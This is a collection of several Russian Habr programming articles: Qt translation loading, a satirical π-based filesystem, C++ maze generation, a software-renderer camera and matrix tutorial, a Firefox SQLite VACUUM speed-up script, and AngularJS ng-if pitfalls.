Qt содержит внутри около 400 строк, которые так же должны быть переведены на языки которые нам необходимы. В директории $QTDIR/translations можно найти файлы переводов для французского, немецкого и упрощенного китайского, так же как и шаблоны для перевода на другие языки. (Эта директория так же содержит некоторые дополнительные неподдерживаемые переводы, которые могут быть полезны, например, перевод на русский язык).
Обычно эти переводы подгружают так же в фунции main():
> `1. int main(int argc, char \*argv[])
> 2. {
> 3. ...
> 4. QTranslator qtTranslator;
> 5. qtTranslator.load("qt\_" + QLocale::system().name(),
> 6. QLibraryInfo::location(QLibraryInfo::TranslationsPath));
> 7. app.installTranslator(&qtTranslator);
> 8. ...
> 9. }
> \* This source code was highlighted with Source Code Highlighter.`
Обратите внимание на использование QLibraryInfo::location() для обнаружения переводов Qt. Разработчик должен запросить путь к переводам обрабатывая QLibraryInfo::TranslationsPath для этой функции вместо использования переменной среды QTDIR в своих приложениях. Хотя в случаях, когда мы не уверены что у пользователя стоит полная версия Qt, имеет смысл поставлять этот файл переводов вместе с программой и загружать его из директории программы (или любой другой на выбор).
#### Динамический перевод
Некоторые приложения должны обеспечивать изменения настроек языка пользователя во время работы. Что бы предупредить виджеты об изменениях установленного QTranslators, можно переделать фунцкцию виджета changeEvent() для проверки не является ли событие событием LanguageChange, и обновите текст, отображаемый виджетами, используя функцию tr() обычным способом. Например:
> `1. void MyWidget::changeEvent(QEvent \*event)
> 2. {
> 3. if (e->type() == QEvent::LanguageChange) {
> 4. titleLabel->setText(tr("Document Title"));
> 5. ...
> 6. okPushButton->setText(tr("&OK"));
> 7. } else
> 8. QWidget::changeEvent(event);
> 9. }
> \* This source code was highlighted with Source Code Highlighter.`
Все остальные события изменения должны быть обработаны вызовом реализации по умолчанию данной функции.
Список установленных переводов может быть изменен в реакции на событие LocaleChange, или приложение может предоставлять интерфейс пользователю, который позволит ему изменить текущий язык приложения.
Обработчик событий по умолчанию для подклассов QWidget отвечает на событие QEvent::LanguageChange и вызовет эту функцию при необходимости; в других компонентах приложения можно так же заставить виджеты обновить себя отправив им событие LanguageChange.
UPD: Как подсказывает [intellinside](https://habrahabr.ru/users/intellinside/), классы графического интерфейса пользователя, сгенерированные Qt Designer'ом, имеют функцию retranslateUi(), которую можно вызвать для динамического изменения языка приложения. | https://habr.com/ru/post/51319/ | null | ru | null |
# πfs — революционная файловая система без хранения данных
#### Что это?
πfs это революционная файловая система, которая вместо того, чтобы тратить место на вашем жестком диске, хранит все данные в π. Вам никогда больше не придется заботится о свободном месте! Вам говорили, что 100% сжатие невозможно? Да вот же оно!
#### Как собрать?
πfs собирается элементарно:
```
./configure
make
```
Да и использовать его не сложнее:
```
πfs -o mdd=
```
Где metadata directory — каталог с метаданными (названия файлов, смещение в π), а mountpoint — каталог монтирования.
#### Что же π делает с моими данными?
π — одна из самых важных констант математики, и у нее есть куча интересных свойств (о которых можно прочесть в [статье на википедии](http://ru.wikipedia.org/wiki/Пи_(число)))
Одним из таких свойств числа π предположительно является нормальность, что означает, что все его числа распределяются равномерно, при условии, что это дизъюнктивная последовательность, т.е. все конечные числовые последовательности находятся внутри него. Если мы рассмотрим число π по основанию 16 (HEX), то это предположение верно. Первая запись об этом была [в 2001 году](http://www.netfunny.com/rhf/jokes/01/Jun/pi.html).
Ну а если так, то зачем нам хранить все эти эксабайты данных на винчестерах, если мы можем найти их в π?
##### И что, прямо каждый-каждый файл можно найти в π?
А ТО! Любой файл, который создали вы или кто-то другой, или даже еще не создали! Вас судят за нарушение копирайта? Да хрена с два — вы просто достали последовательность из константы, она всю жизнь там была!
##### Но как же найти мне свои данные в π?
Если вы знаете смещение файла и его длину в π, вы можете их достать используя [формулу Bailey–Borwein–Plouffe](http://en.wikipedia.org/wiki/BBP-type_formula). Аналогично, вы можете использовать эту формулу чтобы узнать смещение вашего файла.
Так как нахождение целиком нужной последовательности займет слишком много времени, нам нужно разбить файл на несколько маленьких последовательностей для увеличения быстродействия.
В этой реализации, мы разбиваем файл на отдельные байты, и эти байты ищем в π.
##### Ну нашел я смещение файла в π, что мне с ним делать-то?
Ну, очевидно, вам нужно его куда-нибудь записать, на бумажку, например, но у нас же теперь есть куча свободного места на винчестере, почему бы не сохранить его туда?
##### Ну а если я потеряю смещение?
Да ничего страшного — ваши данные от этого из π не пропадут! Найдете когда-нибудь.
##### Почему это говно такое медленное? На сохранение 400 строк теста у меня ушло 5 минут!
Ну, это прототип, к тому же, у нас есть закон Мура!
[Исходник на GitHub](https://github.com/philipl/pifs) | https://habr.com/ru/post/190202/ | null | ru | null |
# Неприлично простая реализация неприлично простого алгоритма генерации лабиринта
Продолжение [этой статьи](https://habrahabr.ru/post/318530/) об очень простом алгоритме генерации прямоугольных лабиринтов. В этой статье я приведу мою реализацию алгоритма на С++, а также покажу несколько дополнительных функций, которые породил мой скучающий мозг. Если осмелитесь продолжить читать, убедитесь, что ознакомились с моей предыдущей статьей. Глянули? Молодцы, продолжаем.
### Где же код?
Начнем с начала — подтягиваем стандартные библиотеки, объявляем функции.
```
#include
#include
#include
using namespace std;
bool deadend(int, int, int\*\*, int, int); // Вспомогательная функция, определяет тупики
void visual(int\*\*, int, int); // Изображение результата с помощью консольной графики
void mazemake(int\*\*, int, int); // Собственно алгоритм
const int wall = 0, pass = 1;
```
Все еще очень просто, как я и люблю. В *main* мы сможем определить габариты лабиринта в переменных *height* и *width* (напоминаю, что размеры лабиринта исключительно нечетные, издержки алгоритма). Эти параметры можно вынести за пределы *main* и сделать их константами или просто глобальными переменными, программа от этого не пострадает.
```
int main(){
srand((unsigned)time(NULL));
int height = 21, width = 21;
int** maze = new int*[height];
for(int i = 0; i < height; i++)
maze[i] = new int[width];
mazemake(maze, height, width);
visual(maze,height,width);
for(int i = 0; i < height; i++)
delete[] maze[i];
delete[] maze;
return 0;
}
```
Собственно, вот и весь *main*. Весь лабиринт без проблем сохраняется в двухмерный динамический массив, с которым мы и работаем. После выполнения функции *mazemake*, в массив *maze* сохраняется готовый лабиринт, в котором 0 — это стена, а 1 — это проход.
Продолжим, функция *deadend*, ищет безвыходные ситуации для крота — когда на все четыре направления уже есть проходы.
```
bool deadend(int x, int y, int** maze, int height, int width){
int a = 0;
if(x != 1){
if(maze[y][x-2] == pass)
a+=1;
}
else a+=1;
if(y != 1){
if(maze[y-2][x] == pass)
a+=1;
}
else a+=1;
if(x != width-2){
if(maze[y][x+2] == pass)
a+=1;
}
else a+=1;
if(y != height-2){
if(maze[y+2][x] == pass)
a+=1;
}
else a+=1;
if(a == 4)
return 1;
else
return 0;
}
```
Немного по *deadend*. Эта функция возвращает значение *true* если крот в тупике, иначе — *false*. Почему дважды *if*, а не логическое И? Очень просто — первая проверка — на присутствие рядом внешней непроницаемой стены. Непроницаема она по нескольким причинам — мы так сделали, выбрав именно эти габариты, соответственно выделили память для массива (управление памятью, аняня ^>^), да и не очень-то проверишь (-1)-ый элемент массива. Также, обратите внимание на фигурные скобки после первичного *if* — *else* относится именно к нему, ~~а другой способ записать это мне неизвестен~~.
```
void visual(int** maze, int height, int width){
for(int i = 0; i < height; i++){
for(int j = 0; j < width; j++)
switch(maze[i][j]){
case wall: cout<<"0 "; break;
case pass: cout<<" "; break;
}
cout<
```
Что еще нужно для счастья? Следующая остановка — *mazemake*.
```
void mazemake(int** maze, int height, int width){
int x, y, c, a;
bool b;
for(int i = 0; i < height; i++) // Массив заполняется землей-ноликами
for(int j = 0; j < width; j++)
maze[i][j] = wall;
x = 3; y = 3; a = 0; // Точка приземления крота и счетчик
while(a < 10000){ // Да, простите, костыль, иначе есть как, но лень
maze[y][x] = pass; a++;
while(1){ // Бесконечный цикл, который прерывается только тупиком
c = rand()%4; // Напоминаю, что крот прорывает
switch(c){ // по две клетки в одном направлении за прыжок
case 0: if(y != 1)
if(maze[y-2][x] == wall){ // Вверх
maze[y-1][x] = pass;
maze[y-2][x] = pass;
y-=2;
}
case 1: if(y != height-2)
if(maze[y+2][x] == wall){ // Вниз
maze[y+1][x] = pass;
maze[y+2][x] = pass;
y+=2;
}
case 2: if(x != 1)
if(maze[y][x-2] == wall){ // Налево
maze[y][x-1] = pass;
maze[y][x-2] = pass;
x-=2;
}
case 3: if(x != width-2)
if(maze[y][x+2] == wall){ // Направо
maze[y][x+1] = pass;
maze[y][x+2] = pass;
x+=2;
}
}
if(deadend(x,y,maze,height,width))
break;
}
if(deadend(x,y,maze,height,width)) // Вытаскиваем крота из тупика
do{
x = 2*(rand()%((width-1)/2))+1;
y = 2*(rand()%((height-1)/2))+1;
}
while(maze[y][x] != pass);
} // На этом и все.
}
```
Слишком просто? В общем-то да, так и есть. До неприличия просто. Здесь есть все те же двойные *if*, по той же причине. Даже посетовать не на что. Разве что костыль в виде счетчика. Если он ранит ваши чувства — добро пожаловать во вторую главу нашего повествования.
### Фичи и штуки-дрюки
#### Комнаты
Мы научили млекопитающее делать нам лабиринт. Почему бы это же создание не заставить сделать нам пару комнат? Мы ведь коварные садисты-ученые и не знаем куда деть бедных зверюшек.
Если мы хотим иметь возможность делать комнаты и определять их параметры, то код немного меняется то тут, то там. Комнаты тоже имеют нечетные размеры.
```
void mazemake(int**, int, int, int, int, int); // Более расширенное объявление функции
const int wall = 0, pass = 1, room = 4; // Новая константа
...
int height = 59, width = 111, k = 30; // Мы включили параметр количества комнат
int rheight = 7, rwidth = 5; // Размеры комнаты
...
void mazemake(int** maze, int height, int width, int k, int rheight, int rwidth){
int x, y, c, a;
bool b, swap = 1;
for(int i = 0; i < height; i++)
for(int j = 0; j < width; j++)
maze[i][j] = wall;
rheight--; rwidth--; // Исключительно для удобства
for(int l = 0; l < k; l++){ // Генерация комнат
b = 1;
while(b){
do{ // Точка-центр комнаты
if(rwidth%4 == 0) // Комнаты, с разной делимостью на 4 ведут себя
x = 2*(rand()%(width/2))+1; // по разному, унифицируем
else
x = 2*(rand()%(width/2))+2;
if(rheight%4 == 0)
y = 2*(rand()%(height/2))+1;
else
y = 2*(rand()%(height/2))+2;
}
while(x < (rwidth+2) || x > (width-rwidth-2) ||
y < (rheight+2) || y > (height-rheight-2));
b = 0; // Комнаты не должны прикасаться
for(int i = (y-rheight-2); i < (y+rheight+2); i++)
for(int j = (x-rwidth-2); j < (x+rwidth+2); j++)
if(maze[i][j] == room)
b = 1;
if(b)
continue;
for(int i = (y-rheight/2); i < (y+rheight/2+1); i++) // Раскопки комнаты
for(int j = (x-rwidth/2); j < (x+rwidth/2+1); j++)
maze[i][j] = room;
c = rand()%4; // Дверь в комнату, определяем в какую стену
// Нижняя, верхняя, правая и левая соответственно
// Нагромождение в виде rand()... нужно для того, чтобы дверь стояла в разных
// местах стены
if(c == 0) maze[y+rheight/2+1][x-rwidth/2+2*(rand()%(rwidth/2+1))] = room;
if(c == 1) maze[y-rheight/2-1][x-rwidth/2+2*(rand()%(rwidth/2+1))] = room;
if(c == 2) maze[y-rheight/2+2*(rand()%(rheight/2+1))][x+rwidth/2+1] = room;
if(c == 3) maze[y-rheight/2+2*(rand()%(rheight/2+1))][x-rwidth/2-1] = room;
// swap отвечает за возможность поворачивать комнату на 90°
if(swap){
rheight += rwidth;
rwidth = rheight - rwidth;
rheight -= rwidth;
} // Вот так настоящие мужики меняют переменные значениями
}
}
...
int deadend(int x, int y, int** maze, int height, int width){
int a = 0; // В deadend теперь нужно учитывать то, что в комнату мы прыгнуть не можем
if(x != 1){
if(maze[y][x-2] == pass ||
maze[y][x-2] == room)
a+=1;
}
else a+=1;
...
```
#### Гриб
Хм… Нет, не солидно. Грибовидный алгоритм поиска пути в идеальных лабиринтах. Вот так лучше. Ладно, меньше слов, больше кода.
```
...
void shroom(int**, int, int);
const int wall = 0, pass = 1, liveshroom = 2, deadshroom = 3, room = 4, start = 5, finish = 6;
int main(){
srand((unsigned)time(NULL));
int height = 59, width = 111, k = 30; // Грибной алгоритм безопасно работает с комнатами -
int rheight = 7, rwidth = 5; // он их игнорирует
int** maze = new int*[height];
for(int i = 0; i < height; i++)
maze[i] = new int[width];
mazemake(maze, height, width, k, rheight, rwidth);
visual(maze,height,width);
maze[1][1] = start;
maze[height-2][width-2] = finish;
shroom(maze,height,width); // Гриб не изменяет архитектуру лабиринта, но оставляет след
visual(maze,height,width); // между стартом и финишем
for(int i = 0; i < height; i++)
delete[] maze[i];
delete[] maze;
return 0;
...
void shroom(int** maze, int height, int width){
int x, y;
for(int i = 0; i < height; i++) // Поиск старта
for(int j = 0; j < width; j++)
if(maze[i][j] == start){
x = j; y = i;
}
while(maze[y][x] != finish){ // Условие выхода - гриб нашел финиш
maze[y][x] = liveshroom; // Заражаем проход
// Гриб ищет проход направо, налево, вниз и вверх последовательно,
// он может передвигаться только по пустым коридорам
if(maze[y][x+1] == pass){
maze[y][x+1] = liveshroom;
x+=2;
continue;
}
if(maze[y][x-1] == pass){
maze[y][x-1] = liveshroom;
x-=2;
continue;
}
if(maze[y+1][x] == pass){
maze[y+1][x] = liveshroom;
y+=2;
continue;
}
if(maze[y-1][x] == pass){
maze[y-1][x] = liveshroom;
y-=2;
continue;
}
if(maze[y][x+1] != pass && // Если гриб не может двигаться - он умирает,
maze[y][x-1] != pass && // ведущая головка гриба (x, y) возвращается на ближайший
maze[y+1][x] != pass && // живой гриб
maze[y-1][x] != pass){
maze[y][x] = deadshroom;
if(maze[y][x+1] == liveshroom){
maze[y][x+1] = deadshroom;
x+=2;
continue;
}
if(maze[y][x-1] == liveshroom){
maze[y][x-1] = deadshroom;
x-=2;
continue;
}
if(maze[y+1][x] == liveshroom){
maze[y+1][x] = deadshroom;
y+=2;
continue;
}
if(maze[y-1][x] == liveshroom){
maze[y-1][x] = deadshroom;
y-=2;
continue;
}
}
}
for(int i = 0; i < height; i++) // Мертвый гриб разлагается, не оставляя следа в лабиринте
for(int j = 0; j < width; j++)
if(maze[i][j] == deadshroom)
maze[i][j] = pass;
}
}
```
Честно, даже нечего сказать. Просто находим единственный путь между точками и показываем. Разве что в *visual* добавить *case liveshroom: cout<<"\* "; break;*
#### Не костыль
Если вам очень не понравился счетчик в основном алгоритме, то вот вам прекрасная альтернатива — функция проверки, которая запускается раз в сто циклов:
```
...
x = 3; y = 3; a = 0;
while(1){
a++;
if(a%100 == 0)
if(ended(maze, height, width))
break;
maze[y][x] = pass;
...
bool ended(int** maze, int height, int width){
bool b = 1;
for(int i = 1; i < (height - 1); i += 2)
for(int j = 1; j < (width - 1); j += 2)
if(maze[i][j] == wall)
b = 0;
return b;
}
```
С опережающим объявлением справитесь. Успехов, пользуйтесь на здоровье.
Ах да, картиночки.
**Посмотреть**Лабиринты 59х111, 30-40 комнат.
Простой лабиринт без комнат.
Комнаты 5х5, демонстрируют старый баг — двери были только в двух позициях на стенах.
Комнаты 3х5, без свапа, двери адекватно распределены.
Комнаты 5х7, свап включен
Демонстрация гриба, без комнат…
… и с 70-ю свапнутыми комнатами 3х5.
 | https://habr.com/ru/post/319532/ | null | ru | null |
# Краткий курс компьютерной графики: пишем упрощённый OpenGL своими руками, статья 4б из 6
Содержание курса
================
* [Статья 1: алгоритм Брезенхэма](http://habrahabr.ru/post/248153/)
* [Статья 2: растеризация треугольника + отсечение задних граней](http://habrahabr.ru/post/248159/)
* [Статья 3: Удаление невидимых поверхностей: z-буфер](http://habrahabr.ru/post/248179/)
* Статья 4: Необходимая геометрия: фестиваль матриц
+ [4а: Построение перспективного искажения](http://habrahabr.ru/post/248611/)
+ **4б: двигаем камеру и что из этого следует**
+ [4в: новый растеризатор и коррекция перспективных искажений](http://habrahabr.ru/post/249467/)
* [Статья 5: Пишем шейдеры под нашу библиотеку](http://habrahabr.ru/post/248963/)
* [Статья 6: Чуть больше, чем просто шейдер: просчёт теней](http://habrahabr.ru/post/249139/)
### Улучшение кода
** [Статья 3.1: Настала пора рефакторинга](http://habrahabr.ru/post/248909/)
* [Статья 3.14: Красивый класс матриц](http://habrahabr.ru/post/249101/)*
---
### Official translation (with a bit of polishing) is available [here.](https://github.com/ssloy/tinyrenderer/wiki)
---
Сегодня мы заканчиваем с ликбезом по геометрии, в следующий раз будет веселье с шейдерами!
Чтобы не было совсем скучно, вот вам тонировка Гуро:
Я убрал текстуры, чтобы было виднее. [Тонировка Гуро](http://en.wikipedia.org/wiki/Gouraud_shading) очень проста: добрый дяденька-моделёр дал нам нормальные вектора к каждой вершине объекта, они хранятся в строчках vn x y z файла .obj. Мы считаем интенсивность освещения для каждой вершины треугольника и просто интерполируем интенсивность внутри. Ровно как мы делали для глубины z или для текстурных координат uv!
Кстати, если бы дяденька-моделёр был не таким добрым, то мы могли бы посчитать нормали к вершине как среднее нормалей граней, прилегающих к этой вершине.
Текущий код, который сгенерировал эту картинку, находится [здесь](https://github.com/ssloy/tinyrenderer/tree/10723326bb631d081948e5346d2a64a0dd738557).
---
Ликбез: смена базиса в трёхмерном пространстве
==============================================
В евклидовом пространстве система координат (репер) задаётся точкой отсчёта и базисом пространства. Что означает, что в репере (O, i,j,k) точка P имеет координаты (x,y,z)? Это означает, что вектор OP задаётся следующим образом:
Теперь представим, что у нас есть второй репер (O',i',j',k'). Как нам преобразовать координаты точки, данные в одном репере, в другой репер? Для начала заметим, что, так как (i,j,k) и (i',j',k') — это базисы, то существует невырожденная матрица М, такая что:
Давайте нарисуем иллюстрацию, чтобы было нагляднее:
Распишем представление вектора OP:
Подставим во вторую часть выражение замены базиса:
И это нам даст формулу замены координат для двух базисов.
---
Пишем свой gluLookAt
====================
OpenGL и, как следствие, наш маленький рендерер умеют рисовать сцены **только с камерой, находящейся на оси z**. Если нам нужно подвинуть камеру, ничего страшного, мы просто подвинем всю сцену, оставив камеру неподвижной.
Давайте поставим задачу следующим образом: мы хотим сделать так, чтобы камера находилась в точке **e** (eye), смотрела в точку **c** (center) и чтобы заданный вектор **u** (up) в нашей финальной картинке был бы вертикален.
Вот иллюстрация:
Это просто означает, мы делаем рендер в репере (c, x'y'z'). Но ведь модель задана в репере (O, xyz), значит, нам нужно посчитать репер x'y'z' и соответствующую матрицу перехода. Вот код, который возвращает нужную нам матрицу:
***update:** осторожно, в репозитории неверный код, приведённый тут корректен*
```
void lookat(Vec3f eye, Vec3f center, Vec3f up) {
Vec3f z = (eye-center).normalize();
Vec3f x = cross(up,z).normalize();
Vec3f y = cross(z,x).normalize();
Matrix Minv = Matrix::identity();
Matrix Tr = Matrix::identity();
for (int i=0; i<3; i++) {
Minv[0][i] = x[i];
Minv[1][i] = y[i];
Minv[2][i] = z[i];
Tr[i][3] = -center[i];
}
ModelView = Minv*Tr;
}
```
Начнём с того, что z' — это просто вектор **ce** (не забудем его нормализовать, так проще работать). Как посчитать x'? Просто векторным произведением между **u** и **z'**. Затем считаем y', который будет ортогонален уже посчитанным x' и z' (напоминаю, что по условию задачи вектор **ce** и **u** не обязательно ортогональны). Самым последним аккордом делаем параллельный перенос в **c**, и наша матрица пересчёта координат готова. Достаточно взять любую точку с координатами (x,y,z,1) в старом базисе, умножить её на эту матрицу, и мы получим координаты в новом базисе! В OpenGL эта матрица называется матрицей вида (view matrix).
---
Viewport
========
Если вы помните, то у меня в коде встречались подобные конструкции:
```
screen_coords[j] = Vec2i((v.x+1.)*width/2., (v.y+1.)*height/2.);
```
Что это означает? У меня есть точка Vec2f v, которая принадлежит квадрату [-1,1]\*[-1,1]. Я хочу её нарисовать на картинке размером (width, height). Вектор (v.x+1) меняется в пределах от 0 до 2, (v.x+1.)/2. в пределах от нуля до единицы, ну а (v.x+1.)\*width/2. заметает всю картинку, что мне и надо.
Но мы переходим к матричному представлению аффинных отображений, поэтому давайте рассмотрим следующий код:
```
Matrix viewport(int x, int y, int w, int h) {
Matrix m = Matrix::identity(4);
m[0][3] = x+w/2.f;
m[1][3] = y+h/2.f;
m[2][3] = depth/2.f;
m[0][0] = w/2.f;
m[1][1] = h/2.f;
m[2][2] = depth/2.f;
return m;
}
```
Он строит вот такую матрицу:
Это означает, что куб мировых координат [-1,1]\*[-1,1]\*[-1,1] отображается в куб экранных координат (да, куб, т.к. у нас есть z-буфер!) [x,x+w]\*[y,y+h]\*[0,d], где d — это разрешение z-буфера (у меня 255, т.к. я храню его непосредственно в чёрно-белой картинке).
В мире OpenGL эта матрица называется viewport matrix.
---
Цепь преобразований
===================
Итак, резюмируем. Модели (например, пресонажи) сделаны в своей локальной системе координат (object coordinates). Они вставляются в сцену, которая выражена в мировых координатах (world coordinates). Переход от одних к другим осуществляется матрицей Model. Дальше, мы хотим выразить это дело в репере камеры (eye coordinates), матрица перехода от мировых к камере называется View. Затем, мы осуществляем перспективное искажение при помощи матрицы Projection (см. статью 4а), она переводит сцену в так называемые clip coordinates. Ну и затем мы отображаем это всё дело на экране, матрица прехода к экранным координатам это Viewport.
То есть, если мы прочитали точку v из файла, то чтобы показать её на экране, мы проделываем умножение
```
Viewport * Projection * View * Model * v.
```
Если посмотреть в [код на гитхабе](https://github.com/ssloy/tinyrenderer/blob/10723326bb631d081948e5346d2a64a0dd738557/main.cpp), то мы увидим такие строчки:
```
Vec3f v = model->vert(face[j]);
screen_coords[j] = Vec3f(ViewPort*Projection*ModelView*Matrix(v));
```
Так как я рисую только один объект, то матрица Model у меня просто единичная, я её объединил с матрицей View.
---
Преобразование нормальных векторов
==================================
Широко известен следующий факт:
*Если у нас задана модель и уже посчитаны (или, например, заданы руками) нормальные вектора к этой модели, и эта модель подвергается (аффинному) преобразованию M, то нормальные вектора подвергаются преобразованию, обратному к транспонированному M.*
Что-что?!
Этот момент остаётся магическим для многих, но на самом деле, ничего волшебного тут нет. Рассмотрим треугольник и вектор **a**, являющийся нормальным к его наклонной грани. Если мы просто растянем наше пространство в два раза по вертикали, то преобразованный вектор **a** перестанет быть нормальным к преобразованной грани.
Чтобы убрать весь налёт магии, нужно понять одну простую вещь: *нам нужно не просто преобразовать нормальные вектора, нам нужно посчитать нормальные вектора к преобразованной модели.*
Итак, у нас есть вектор нормали **a**=(A,B,C). Мы знаем, что плоскость, проходящая через начало координат, и имеющая нормалью вектор **a** (на нашей иллюстрации это наклонное ребро левого треугольника), задаётся уравнением Ax+By+Cz=0. Давайте запишем это уравнение в матричном виде, причём сразу в однородных координатах:
Напоминаю, что (A,B,C) — это вектор, поэтому получает ноль в последнюю компоненту при погружении в четырёхмерное пространство, а (x,y,z) — это точка, поэтому к нему приписываем 1.
Давайте добавим единичную матрицу (М, умноженная на обратную к ней) в середину этой записи:
Выражение в правых скобках — это преобразованные точки. В левых — нормальный вектор! Так как в стандартной конвенции при линейном отображении мы записываем векторы (и точки) в столбец (надеюсь, мы не будем разжигать холивара про ко- и контравариантные вектора), то предыдущее выражение может быть записано следующим образом:
Что ровно приводит нас к вышеозначенному факту, что нормаль к преобразованному объекту получается преобразованием исходной нормали, обратным к транспонированному M.
Заметьте, если M — это композиция параллельных переносов, вращений и однородных растягиваний, то транспонированная М равняется обратной М, и они друг друга аннулируют. Но так как наши матрицы преобразований будут включать в себя перспективное искажение, это нам мало поможет.
В текущем коде мы преобразование нормалей не используем, но вот в следующей статье про шейдеры это будет очень важно.
Счастливого программирования! | https://habr.com/ru/post/248723/ | null | ru | null |
# Ускоряем запуск браузера FireFox
Ещё давно приметил, что мой любимый инструмент, запускается значительно шустрее после установки, чем после многомесячного, активного использования браузера. Заметил, но как распорядится этим знанием мыслей не было. И вот, только что наткнулся на [полезную тему](http://forum.mozilla-russia.org/viewtopic.php?id=35762), где описано это узкое место, а также дан ещё один совет по ускорению запуска браузера.
И так узкое место при запуске это загрузка .sqlite, базы данных вашего профиля. При интенсивной работе с Фоксом, базы разрастаются, в них появляются «пустые места», ну и главный недостаток, файл базы данных становится сильно фрагментированными. Для решения подобной проблемы существует [специальная команда](http://www.sqlite.org/lang_vacuum.html) «очистки», точнее операция пересоздаёт файл базы, но уже без пустых мест. Для этого нужно проделать следующее:
1. Cкачайте [тут](http://sqlite.org/download.html) последнюю версию консольного SQLite под вашу ОС или поставьте из репозитория пакет sqlite3.
[Скачать для windows (246 KB)](http://sqlite.org/sqlite-3_6_16.zip) | Положить в директорию системы ака C:\Windows
2. **Для Windows**.
Cоздать bat файлик, со следующим скриптиком:
`cd /D "%APPDATA%\Mozilla"
for /r %%i in (*.sqlite) do echo VACUUM; | sqlite3 "%%i"
cd /D "%HOMEPATH%\Local Settings\Application Data\Mozilla"
for /r %%i in (*.sqlite) do echo VACUUM; | sqlite3 "%%i"`
**Для Linux систем**
Выполнить с командной строки или создать sh скриптик на будущее сами решайте:
`cd ~/.mozilla/firefox/*.default/
for i in *.sqlite; do echo "VACUUM;" | sqlite3 $i ; done`
… или ещё один вариант в одну строчку, от [rojer](https://habrahabr.ru/users/rojer/):
`find ~/.mozilla/firefox/ -name *.sqlite -exec sqlite3 {} VACUUM \;`
**Для MAC** (спасибо, [avanes](https://habrahabr.ru/users/avanes/))
`find ~/Library/Application\ Support/Firefox/Profiles -name '*.sqlite' -exec sqlite3 {} VACUUM \;`
3. Завершаем работу браузера, и выполняем команду/запускаем bat'ник.
Теперь у нас значительно похудевшие и дефрагментированные базы, есть значительные прирост к скорости запуска. Но есть ещё один момент для оптимизации, правда воспользоваться им можно в версиях FF 3.5 и выше. Необходимо включите jit-прекомпиляцию для интерфейса. Для скриптов на страницах она уже включена по-умолчанию. Для этого идём в about:config, вводим jit(в строку поиска) и ставим значение(javascript.options.jit.chrome) в **true**. (У меня после перезапуска, фокс долго не хотел стартовать, но потом ожил)
После этих двух простых действий FF значительно прибавил в скорости. Странно, что Mozilla не предусмотрела подобные манипуляции над базой.
P.s. если вы довольны достигнутым эффектом, буду рад если поможете перенести в «Огнелиса»
**UPD 1** спасибо за карму, перенёс в блог FF
**UPD 2** спасибо [silentroach](https://habrahabr.ru/users/silentroach/) и [RealManPMI](https://habrahabr.ru/users/realmanpmi/), за идею более универсального указания пути к папке с профилем, [kutsy](https://habrahabr.ru/users/kutsy/) спасибо за указание пути в linux. | https://habr.com/ru/post/65683/ | null | ru | null |
# AngularJS — Вы уверены, что знаете как работает ng-if?
Не так давно я уже писал [про поведение ng-if директивы](http://habrahabr.ru/post/225243/), но тогда я столкнулся с проверкой условия, но сегодня возникла другая проблема.
В проекте достаточно много таких элементов как tooltip, popover, modal windows и так далее. Думаю, все вы понимаете, что это за элементы и рассказывать про них я не буду. Для многих из них используется абсолютное позиционирование. Если бы мы не использовали кастомные директивы, то проблем бы не было — все модальные окна лежали бы в конце body и показывались бы когда нужно. Но так, как все эти элементы объявлены как директивы, возникает проблема с позиционированием, так как у директивы может быть родитель с относительным позиционированием и так далее.
```
Greeting
Hello, Habr!
```
Модальное окно должно позиционироваться относительно окна браузера, но в данном случае будет позиционироваться относительно родительского элемента.
Самое простое решение этой проблемы — вынести элемент из текущей директивы:
```
module.directive('modal',[
'$rootElement',
function(
$rootElement
){
return {
restrict: 'E',
...
link: function(scope, element){
element.appendTo($rootElement);
scope.$on('$destroy', function(){
element.remove();
});
...
}
}
}]
});
```
То есть мы выдераем элемент из текущего контекста и вставляем в рутовый элемент приложения. При удаление директивы — элемент удаляется. Все вроде ОК, но проблем не возникает до тех пор, пока в паре с таким подходом не используется `ng-if` директива.
`ng-if` при отрицательном результате условия полностью удаляет DOM элемент, это я думаю многие знают, но не многие знают как это происходит.
[Вот исходники и собственно сам watcher](https://github.com/angular/angular.js/blob/d3c50c845671f0f8bcc3f7842df9e2fb1d1b1c40/src/ng/directive/ngIf.js#L88) `ng-if` атрибута.
При положительном результате — создается комментарий `document.createComment(' end ngIf: ' + $attr.ngIf + ' ');` и в переменную `block.clone` помещается два значения:
* 0 — сам элемент, для которого была объявлена `ng-if` директива
* 1 — созданный комментарий
В исходном коде страницы вы скорее всего часто видите подобное:
> На данном скриншоте — условие `ng-if="!task.id"` — положительное и элемент li, для которого объявлена директива есть в DOM дереве и находиться между комментариями и . Второе условие `ng-if="validation.task.app_id"` — отрицательное и между комментариями нету ничего.
При отрицательном результате — destroy дочернего scope и [удаление элементов](https://github.com/angular/angular.js/blob/d3c50c845671f0f8bcc3f7842df9e2fb1d1b1c40/src/ng/directive/ngIf.js#L114). И самое интересное в функции [getBlockElements](https://github.com/angular/angular.js/blob/d3c50c845671f0f8bcc3f7842df9e2fb1d1b1c40/src/Angular.js#L1562):
```
/**
* Return the DOM siblings between the first and last node in the given array.
* @param {Array} array like object
* @returns {DOMElement} object containing the elements
*/
function getBlockElements(nodes) {
var startNode = nodes[0],
endNode = nodes[nodes.length - 1];
if (startNode === endNode) {
return jqLite(startNode);
}
var element = startNode;
var elements = [element];
do {
element = element.nextSibling;
if (!element) break;
elements.push(element);
} while (element !== endNode);
return jqLite(elements);
}
```
Что делает эта функция понятно из её описания — *Return the DOM siblings between the first and last node in the given array.*
А аргумент nodes в нашем случаем массив из двух элементов, которые я описывал ваше. То есть функция вернет все элементы между основным элементом, для которого была объявлена директива `ng-if` и закрывающим комментарием , а если комментарий не был найден — то вернет все элементы после основного.
К примеру, такой темплейт (#angular-application — рутовый элемент приложения):
```
...
...
...
...
...
...
```
Компилится в такой html:
```
...
...
...
...
...
...
```
То есть, как было написано выше — все модальные окна и поповеры, что бы не нарушалось позиционирование и их верстка перенесены в конце приложения, но комментарии остались на прежнем месте. И теперь, функция [getBlockElements](https://github.com/angular/angular.js/blob/d3c50c845671f0f8bcc3f7842df9e2fb1d1b1c40/src/Angular.js#L1562) для ``.- вернет все элементы - **#popover-1**,**#modal-1**, **#modal-2**, **#popover-2**. То есть при отрицательном результате условия ng-if="isFirstPopover()"` из DOM дерева будут удалены все эти элементы.
Варианты решения:
* Не делать так :) Не переносить элементы из директивы. Но такой вариант не подходит для сложных директив. К примеру у нас проекте есть кастомный фильтр для таблицы, который представлен одной директивной, но включает в себя кнопку, поповер, и модельное окно. И если не переность элемент - верстка внутри директивы ломается, и позиционирование активных элементов - тоже становится не верным;
